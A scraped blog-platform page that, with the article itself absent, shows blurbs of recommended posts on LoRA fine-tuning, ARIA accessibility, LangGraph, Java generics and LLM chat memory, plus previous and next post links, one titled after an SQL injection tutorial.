qq_39496637的博客 304

【AI 开发从入门到进阶 · 10】收官篇:LoRA 微调、模型评估、推理加速与生产部署全链路

本文系统梳理了大模型微调与生产落地的全流程,从决策是否微调、优选LoRA技术方案,到代码实现、效果评估、推理加速与FastAPI服务封装,最终构建可迭代的生产级AI系统。强调“逐级升级”原则,倡导以数据闭环驱动优化,避免技术冲动。全系列贯穿工程化思维,提供可复用模板与实战建议,助力开发者从模型训练迈向稳定可用的AI服务部署。

信息安全领域优质创作者|操作系统领域专家 123

ARIA规范

ARIA用来补充原生HTML缺失的语义,原则:优先原生标签,ARIA仅做补充。 ARIA角色role:定义组件身份,分为地标角色、构件角色、文档角色;构件角色用于自定义弹窗、tab、下拉菜单等复杂组件; ARIA状态与属性:以aria-开头,描述组件实时状态;常用:aria-label、aria-labelledby、aria-describedby、aria-hidden、aria-expanded、aria-selected、aria-modal、aria-live; 常用场景:图标按钮用aria-l

2401_83227843的博客 463

LangGraph(03):状态归约、并行更新与消息管理

并行节点写入报错?历史消息无法清理?本文拆解 LangGraph 状态归约与消息增删改机制,带你精确控制复杂工作流状态。

专注于 Agent 工程、AI 产品、Harness Engineering、LLM 算法等方向,OpenMathModel、Nivik 等开源项目作者 137

LangGraph 的分离思想总结

LangGraph 的分离思想,本质上是对"高内聚、低耦合"这一经典工程原则在 LLM 应用领域的落地。它通过状态与逻辑分离、节点职责分离、控制流与执行分离、计算与持久化分离、编排与实现分离五个层面,把一个难以维护的"大黑盒"拆解成一组可组合、可测试、可观测的部件。理解这套分离思想,比记住 API 更重要——因为当你面对新的智能体场景时,真正指导你做出合理拆分的,正是这些分离原则。

张晨光老师的播客 411

Java基础:泛型、类型擦除与 PECS 原则

泛型允许类、接口和方法使用类型参数,把许多类型检查提前到编译期,减少显式类型转换,提高代码复用性。例如。

cjpabc的博客 462

To-Do List 的「修改」功能与 CSS 定位

买牛奶</td><td index="1">写作业</td><td index="2">跑步

2401_89953644的博客 311

大模型记忆管理:消息是如何存储的

本文介绍了多轮对话中消息的存储方式,重点讲解了基于InMemoryChatMessageHistory的内存存储实现及会话隔离机制。通过为每个会话分配唯一ID,确保消息独立存储。同时展示了如何结合ChatPromptTemplate与消息历史实现上下文感知的对话,并提供了基于文件持久化的FileChatMessageHistory方案,支持消息长期保存与跨会话管理。

2301_80002260的博客 196
上一篇: SQL Injection Tutorial by Marezzi
下一篇: Playing around with (old?)SEH
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值